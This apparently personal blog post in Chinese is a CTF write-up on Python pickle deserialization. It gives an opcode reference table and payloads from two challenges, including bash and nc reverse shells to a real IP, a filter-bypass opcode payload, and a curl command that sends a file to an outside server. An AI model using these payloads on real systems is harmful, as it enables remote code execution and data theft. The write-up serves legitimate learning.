pickle相关

前情提要

昨天打美团的比赛,做到一个pickle的反序列化题,很是破防,这几天来好好研究一下。

使用R指令实现基础rce

[watevrCTF-2019]Pickle Store

这题拿到手就看到是个store,发现他有个base64的cookie,解开后是pickle序列化后的opcode

image-20220919084730331

尝试直接构造__reduce()__进行rce

1
2
3
4
5
6
7
8
9
10
11
from copyreg import pickle
from os import system


import base64
import pickle
class test():
def __reduce__(self):
return(eval,"__import__('os').system('ls')")
Test=test
print(base64.b64encode(pickle.dumps(Test)))

发现网页无法回显,尝试反弹shell,使用nc监听

1
2
3
4
5
6
7
8
import base64
import pickle
class test(object):
def __reduce__(self):
return(eval,("__import__('os').system('bash -c \\'bash -i >& /dev/tcp/124.220.11.247/10800 0>&1\\'')",))
Test=test()
print(base64.b64encode(pickle.dumps(Test)))
print(pickle.dumps(Test))

当然这里也可以用nc来反弹shellnc 124.220.11.247 10800 -e/bin/sh

期间还遇到个坑,python对于多层引号嵌套似乎没有很好的支持,需要手动添加\\进行转译

image-20220919095317570

拿到shell,获取flag
这里我们依然是用pickle来实现构造payload的,但是灵活性大大不如手撸opcode,因此得了解一波opcode

这里先给出opcode表

opcode 描述 具体写法 栈上的变化 memo 上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、’等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

这里来尝试一下手撸刚刚的opcode

1
2
3
4
5
'''cos
system
(S'nc 124.220.11.247 10800 -e/bin/sh'
tR.
'''

开个环境测试一下

image-20220919151858437

成功getshell

基础的rce差不多了解了,来接触一些带过滤的

在R之外

与函数执行相关的opcode总共有三个R,o,i

o

1
2
3
4
5
'''(cos
system
S'whoami'
o.
'''

注意此时mark标记只能在开头,具体原因还待研究

i

1
2
3
4
5
'''(S'whoami'
ios
system
.
'''

i就像是o和R的结合体,又能导入又能执行函数

这里就不得不提到写这篇文章的原因了

也就是今年mtctf的easypickle

原题的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
print(app.config['SECRET_KEY'])
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)

这里的反序列化点在session上,要控制session就要知道secretkey,有secretkey后就能任意伪造session,这里知道session和对应的值,且key只有四位,直接写脚本碰撞就可以,在网上看到一个叫flask-unsign的项目,这里mark一下

得到反序列化的入口后就可以直接进行反序列化了,这里他过滤死了riob,当场给我干懵了,当时苦思冥想也没有啥办法

赛后看到大佬的wp才恍然大悟,这里判断是否有riob是在replace过后的,且反序列化时还是原始数据,这里o其实是还可以用的,只要保证o和s在一起就好了 这里搓一个opcode

1
2
3
4
5
6
7
8
'''(S'test'
S'test1'
dS'test2'
(cos
system
S'ls'
os.
'''

注意这里d之后是不能换行的,具体原因有待研究,暂且认为是语法规定?

image-20220920222019838

这东西序列化之后如图所示,对照opcode很好理解

一开始不是很了解栈的概念,后面才了解到的先压入的在后面,所以编写opcode要注意顺序

当然这题没有回显且不能反弹shell

可以像 le1a师傅一样使用curl外带数据

1
2
b'''(cos\nsystem\nS'ls>/3.txt'\nos.''' #把ls的结果写入根目录的3.txt
b'''(cos\nsystem\nS'curl -T /3.txt http://101.43.66.67:12345'\nos.''' #外带/3.txt的内容到服务器上

b,c指令的一些妙用

这个就是在学pickle时候遇到的一些别的问题了,暂且先懒得写了,贴几篇文章吧

https://www.163.com/dy/article/G6J7KHJP0538S33I.html